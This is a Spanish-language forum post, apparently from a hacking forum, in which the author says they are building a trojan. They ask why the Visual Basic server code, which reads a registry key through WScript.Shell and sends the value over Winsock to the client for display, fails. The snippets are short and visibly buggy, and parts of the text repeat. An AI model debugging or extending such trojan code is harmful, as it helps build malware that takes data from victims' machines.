ola , estoi asiendo un troyano i el serveer me esta dando error al ocupar una de las opciones de mi troyano que lo que ase es leer una clave del registro i emviarla al cliente i este lo muestra como una msgbox  aki va el code
----------en el server-------------
.-----en el cliente-------
---------------------------------------------------------
bueno sobra decir que esta puesto en ws_DataArrival las dos i que datos es la informacion que llega que funciona en toda las otras opciones bueno ssi alguien me puede decir el error se lo agradecería
gracias de antemano 
				
			----------en el server-------------
Código [Seleccionar] 
If Left(datos, 2) = "hk" Then
Dim ind As Object
    Set ind = CreateObject("WScript.Shell")
    Dim tmp As String
    tmp = wsh.RegRead datos
    ws.SendData "2020" & tmp
 End If.-----en el cliente-------
Código [Seleccionar] 
if left(datos , 4 ) ="2020" then 
 datos = Right(datos, Len(datos) - 4)
msgbox ("datos , vbokonly , registro")---------------------------------------------------------
bueno sobra decir que esta puesto en ws_DataArrival las dos i que datos es la informacion que llega que funciona en toda las otras opciones bueno ssi alguien me puede decir el error se lo agradecería
gracias de antemano
 
				 
  
				
 lo mas parecido era una guia de como aserlo pero no funcionaba bien
 lo mas parecido era una guia de como aserlo pero no funcionaba bien 
